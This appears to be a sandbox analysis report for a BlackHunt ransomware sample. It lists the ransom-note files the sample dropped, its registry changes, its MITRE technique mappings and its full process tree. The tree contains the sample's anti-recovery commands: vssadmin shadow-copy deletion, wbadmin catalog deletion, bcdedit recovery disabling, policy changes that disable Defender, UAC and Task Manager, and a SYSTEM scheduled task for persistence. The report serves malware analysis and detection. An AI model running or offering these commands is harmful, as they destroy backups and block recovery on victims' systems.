File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.intro.nl_zh_4.4.0.v20140623020002.jar	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Australia\Eucla	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File created	C:\Program Files\VideoLAN\VLC\locale\pa\#BlackHunt_Private.key	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sk\#BlackHunt_ReadMe.txt	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\VideoWall\#BlackHunt_Private.key	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Push\push_item.png	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_ja_4.4.0.v20140623020002\#BlackHunt_ReadMe.hta	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\META-INF\#BlackHunt_ReadMe.txt	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Bougainville	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\META-INF\eclipse.inf	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\ext\locale\#BlackHunt_ReadMe.hta	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\requests\browse.json	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\NavigationLeft_ButtonGraphic.png	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Antarctica\#BlackHunt_Private.key	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-modules-masterfs.xml	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-windows_ja.jar	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ro\LC_MESSAGES\#BlackHunt_Private.key	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File created	C:\Program Files\VideoLAN\VLC\lua\http\#BlackHunt_ReadMe.txt	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Push\#BlackHunt_Private.key	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.console_5.5.0.165303\feature.properties	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.artifact.repository_1.1.300.v20131211-1531.jar	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\4to3Squareframe_SelectionSubpicture.png	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\security\US_export_policy.jar	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-charts_ja.jar	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Montreal	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Antarctica\DumontDUrville	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File created	C:\Program Files\VideoLAN\VLC\locale\brx\#BlackHunt_ReadMe.hta	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hy\#BlackHunt_Private.key	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ta\#BlackHunt_ReadMe.txt	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File created	C:\Program Files\DVD Maker\#BlackHunt_Private.key	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-uihandler_zh_CN.jar	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\dark\#BlackHunt_ReadMe.hta	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.jetty.io_8.1.14.v20131031.jar	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened for modification	C:\Program Files\Java\jre7\lib\images\cursors\win32_MoveDrop32x32.gif	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File created	C:\Program Files\VideoLAN\VLC\locale\mr\#BlackHunt_ReadMe.txt	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyLocale_de_DE.jar	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Antarctica\Troll	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Goose_Bay	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sq\#BlackHunt_ReadMe.hta	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\stream_filter\#BlackHunt_ReadMe.hta	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_ffd27a_256x240.png	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Multimedia\#BlackHunt_ReadMe.hta	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1700	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2856	vssadmin.exe
3988	vssadmin.exe
1376	vssadmin.exe
1776	vssadmin.exe
1660	vssadmin.exe
2720	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
3060	taskkill.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2192	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1164	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
Token: SeRestorePrivilege	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
Token: SeBackupPrivilege	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
Token: SeTakeOwnershipPrivilege	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
Token: SeAuditPrivilege	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
Token: SeSecurityPrivilege	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
Token: SeIncBasePriorityPrivilege	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
Token: SeBackupPrivilege	1988	vssvc.exe
Token: SeRestorePrivilege	1988	vssvc.exe
Token: SeAuditPrivilege	1988	vssvc.exe
Token: SeBackupPrivilege	1108	wbengine.exe
Token: SeRestorePrivilege	1108	wbengine.exe
Token: SeSecurityPrivilege	1108	wbengine.exe
Token: SeSecurityPrivilege	1784	wevtutil.exe
Token: SeBackupPrivilege	1784	wevtutil.exe
Token: SeSecurityPrivilege	3572	wevtutil.exe
Token: SeSecurityPrivilege	3552	wevtutil.exe
Token: SeSecurityPrivilege	2072	wevtutil.exe
Token: SeSecurityPrivilege	2312	wevtutil.exe
Token: SeBackupPrivilege	3572	wevtutil.exe
Token: SeBackupPrivilege	2312	wevtutil.exe
Token: SeBackupPrivilege	3552	wevtutil.exe
Token: SeBackupPrivilege	2072	wevtutil.exe
Token: SeDebugPrivilege	3060	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2868 wrote to memory of 2780	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe	139
PID 2868 wrote to memory of 2780	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe	139
PID 2868 wrote to memory of 2780	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe	139
PID 2868 wrote to memory of 2780	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe	139
PID 2868 wrote to memory of 2836	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe	141
PID 2868 wrote to memory of 2836	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe	141
PID 2868 wrote to memory of 2836	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe	141
PID 2868 wrote to memory of 2836	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe	141
PID 2868 wrote to memory of 2840	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe	136
PID 2868 wrote to memory of 2840	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe	136
PID 2868 wrote to memory of 2840	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe	136
PID 2868 wrote to memory of 2840	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe	136
PID 2868 wrote to memory of 2860	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe	134
PID 2868 wrote to memory of 2860	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe	134
PID 2868 wrote to memory of 2860	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe	134
PID 2868 wrote to memory of 2860	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe	134
PID 2780 wrote to memory of 2696	2780	cmd.exe	133
PID 2780 wrote to memory of 2696	2780	cmd.exe	133
PID 2780 wrote to memory of 2696	2780	cmd.exe	133
PID 2868 wrote to memory of 2748	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe	132
PID 2868 wrote to memory of 2748	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe	132
PID 2868 wrote to memory of 2748	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe	132
PID 2868 wrote to memory of 2748	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe	132
PID 2868 wrote to memory of 2976	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe	131
PID 2868 wrote to memory of 2976	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe	131
PID 2868 wrote to memory of 2976	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe	131
PID 2868 wrote to memory of 2976	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe	131
PID 2868 wrote to memory of 1164	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe	130
PID 2868 wrote to memory of 1164	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe	130
PID 2868 wrote to memory of 1164	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe	130
PID 2868 wrote to memory of 1164	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe	130
PID 2840 wrote to memory of 2948	2840	cmd.exe	129
PID 2840 wrote to memory of 2948	2840	cmd.exe	129
PID 2840 wrote to memory of 2948	2840	cmd.exe	129
PID 2836 wrote to memory of 2592	2836	wbadmin.exe	128
PID 2836 wrote to memory of 2592	2836	wbadmin.exe	128
PID 2836 wrote to memory of 2592	2836	wbadmin.exe	128
PID 2868 wrote to memory of 2896	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe	127
PID 2868 wrote to memory of 2896	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe	127
PID 2868 wrote to memory of 2896	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe	127
PID 2868 wrote to memory of 2896	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe	127
PID 2868 wrote to memory of 2612	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe	123
PID 2868 wrote to memory of 2612	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe	123
PID 2868 wrote to memory of 2612	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe	123
PID 2868 wrote to memory of 2612	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe	123
PID 2868 wrote to memory of 2852	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe	122
PID 2868 wrote to memory of 2852	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe	122
PID 2868 wrote to memory of 2852	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe	122
PID 2868 wrote to memory of 2852	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe	122
PID 2868 wrote to memory of 2576	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe	120
PID 2868 wrote to memory of 2576	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe	120
PID 2868 wrote to memory of 2576	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe	120
PID 2868 wrote to memory of 2576	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe	120
PID 2868 wrote to memory of 2640	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe	31
PID 2868 wrote to memory of 2640	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe	31
PID 2868 wrote to memory of 2640	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe	31
PID 2868 wrote to memory of 2640	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe	31
PID 2868 wrote to memory of 3048	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe	116
PID 2868 wrote to memory of 3048	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe	116
PID 2868 wrote to memory of 3048	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe	116
PID 2868 wrote to memory of 3048	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe	116
PID 2868 wrote to memory of 2392	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe	115
PID 2868 wrote to memory of 2392	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe	115
PID 2868 wrote to memory of 2392	2868	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe	115

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe
"C:\Users\Admin\AppData\Local\Temp\31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2868
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2836
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2640
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:1128
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:2468
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:2548
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1696
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:300
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:524
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:1032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:2308
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:1660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:2024
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2496
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1852
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    - Suspicious use of WriteProcessMemory
    PID:2836
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:2092
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:2420
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:2352
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1668
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2384
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2452
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:3008
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2856
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:2296
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:1776
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:1232
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2720
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:1628
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1376
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\31a54ff9b1813a1d47882bf8f87bcb7bdcc5299abb47ee3b39550fc2c9307281.exe" /F
  2⤵
  PID:268
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:528
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1712
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2500
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1736
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1792
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2000
- - C:\Windows\system32\reg.exe
